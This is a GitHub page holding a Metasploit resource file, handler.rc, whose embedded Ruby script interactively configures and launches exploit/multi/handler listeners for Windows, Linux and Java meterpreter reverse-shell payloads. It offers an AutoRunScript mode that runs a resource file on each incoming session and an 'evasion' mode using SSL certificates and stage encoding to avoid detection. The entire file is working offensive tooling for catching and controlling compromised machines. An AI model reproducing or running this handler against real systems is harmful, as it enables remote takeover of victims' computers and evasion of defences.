-
Notifications
You must be signed in to change notification settings - Fork 40
/
handler.rc
226 lines (209 loc) · 7.73 KB
/
handler.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
<ruby>
help = %Q|
Description:
Resource File to start one msf multi/handler with
AutoRunScript option pointing to our resource file.
Or just start a simple or evasion msf multi/handler.
Execute in msfconsole:
setg PAYLOAD_ARCH <x86-or-x64>
resource <path-to-script>/handler.rc
Author:
r00t-3xp10it <pedroubuntu10[at]gmail.com>
|
## Sellect payload arch (x86|x64)
if (framework.datastore['PAYLOAD_ARCH'] == nil or framework.datastore['PAYLOAD_ARCH'] == '')
run_single("setg PAYLOAD_ARCH x86")
else
print_line("PAYLOAD_ARCH => #{framework.datastore['PAYLOAD_ARCH']}")
end
print_line(help)
Rex::sleep(1.5)
menu = %Q|
Command Description platform
------- ----------- --------
handler simple multi/handler multi
resource handler with AutoRunScript multi
evasion handler with StageEncoding multi
|
print_line(menu)
Rex::sleep(0.5)
print "[Command]: "
user_input = gets.chomp
## SIMPLE MULTI/HANDLER
if user_input == "handler"
## User inputs
print_line("")
print_line(" Syntax : <payload platform> <payload protocol>")
print_line(" Example: windows tcp | windows https")
print_line("")
print "[+] Platform to exploit : (Windows|Linux|Java): "
user_platform = gets.chomp
unless user_platform =~ /(Windows|Linux|Java)/i
print_error("Platform NOT supported: #{user_platform}")
run_single("back")
return nil
end
## Store lhost address
ip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
print "[+] Use LHOST addr : #{ip} (y/n) : "
get_host = gets.chomp
## Sellect LHOST ip addr
if get_host == "y" or get_host == "Y"
remote_host = "#{ip}"
else
print "[i] Input LHOST : "
get_addr = gets.chomp
remote_host = "#{get_addr}"
end
## Sellect lport number
print "[+] Use LPORT number : 666 (y/n) : "
get_port = gets.chomp
if get_port == "y" or get_port == "Y"
remote_port = "666"
else
print "[i] Input LPORT : "
query_port = gets.chomp
remote_port = "#{query_port}"
end
## MULTI/HANDLER AUTORUNSCRIPT
elsif user_input == "resource"
## User inputs
print_line("")
print_line(" Syntax : <payload platform> <payload protocol>")
print_line(" Example: windows tcp | windows https")
print_line("")
print "[+] Platform to exploit : (Windows|Linux|Java): "
user_platform = gets.chomp
unless user_platform =~ /(Windows|Linux|Java)/i
print_error("Platform NOT supported: #{user_platform}")
run_single("back")
return nil
end
## Store lhost address
ip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
print "[+] Use LHOST addr : #{ip} (y/n) : "
get_host = gets.chomp
## Sellect LHOST ip addr
if get_host == "y" or get_host == "Y"
remote_host = "#{ip}"
else
print "[i] Input LHOST : "
get_addr = gets.chomp
remote_host = "#{get_addr}"
end
## Sellect lport number
print "[+] Use LPORT number : 666 (y/n) : "
get_port = gets.chomp
if get_port == "y" or get_port == "Y"
remote_port = "666"
else
print "[i] Input LPORT : "
query_port = gets.chomp
remote_port = "#{query_port}"
end
print "[+] Input resouce file absoluct path : "
get_path = gets.chomp
## Make sure that resource file exists (local)
unless (File.exist?(get_path))
print_error("Absoluct path NOT found : #{get_path}")
run_single("back")
return nil
end
elsif user_input == "evasion"
## User inputs
print_line("")
print_line(" Syntax : <payload platform> <payload protocol>")
print_line(" Example: windows tcp | windows https")
print_line("")
print "[+] Platform to exploit : (Windows|Linux|Java): "
user_platform = gets.chomp
unless user_platform =~ /(Windows|Linux|Java)/i
print_error("Platform NOT supported: #{user_platform}")
run_single("back")
return nil
end
## Store lhost address
ip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
print "[+] Use LHOST addr : #{ip} (y/n) : "
get_host = gets.chomp
## Sellect LHOST ip addr
if get_host == "y" or get_host == "Y"
remote_host = "#{ip}"
else
print "[i] Input LHOST : "
get_addr = gets.chomp
remote_host = "#{get_addr}"
end
## Sellect lport number
print "[+] Use LPORT number : 445 (y/n) : "
get_port = gets.chomp
if get_port == "y" or get_port == "Y"
remote_port = "445"
else
print "[i] Input LPORT : "
query_port = gets.chomp
remote_port = "#{query_port}"
end
print "[+] Input PEM full path :(/root/bin/gmail.pem): "
get_pem = gets.chomp
## Make sure that PEM.pem file exists (local)
unless (File.exist?(get_pem))
print_error("cert.pem Absoluct path NOT found : #{get_pem}")
run_single("back")
return nil
end
else
## USER INPUT ERROR
print_error("Command NOT supported: #{user_input}")
## clean
run_single("unsetg all")
run_single("back")
return nil
end
## Sellect payload platform,arch and protocol
parse_proto = user_platform.split(' ')[1]
if (user_platform =~ /windows/i)
if parse_proto.nil? or parse_proto == '' or parse_proto == ' '
if framework.datastore['PAYLOAD_ARCH'] == "x86" or framework.datastore['PAYLOAD_ARCH'] == "i686"
payload = "windows/meterpreter/reverse_tcp"
else
payload = "windows/x64/meterpreter/reverse_tcp"
end
else
if framework.datastore['PAYLOAD_ARCH'] == "x86" or framework.datastore['PAYLOAD_ARCH'] == "i686"
payload = "windows/meterpreter/reverse_#{parse_proto}"
else
payload = "windows/x64/meterpreter/reverse_#{parse_proto}"
end
end
elsif (user_platform =~ /linux/i)
if framework.datastore['PAYLOAD_ARCH'] == "x86" or framework.datastore['PAYLOAD_ARCH'] == "i686"
payload = "linux/x86/meterpreter/reverse_tcp"
else
payload = "linux/x64/meterpreter/reverse_tcp"
end
else
payload = "java/meterpreter/reverse_tcp"
end
## Start multi/handler
print_line("")
run_single("use exploit/multi/handler")
if user_input == "resource" or user_input == "RESOURCE"
## set AutoRunScript option to run our resource file
run_single("set AutoRunScript multi_console_command -r #{get_path}")
end
run_single("set PAYLOAD #{payload}")
## set evasion options
if user_input == "evasion" or user_input == "EVASION"
run_single("set HandlerSSLCert #{get_pem}")
run_single("set StagerVerifySSLCert true")
run_single("set EnableStageEncoding true")
end
run_single("set ExitOnSession false")
run_single("set LHOST #{remote_host}")
run_single("set LPORT #{remote_port}")
run_single("exploit")
## clean
run_single("unsetg all")
run_single("back")
</ruby>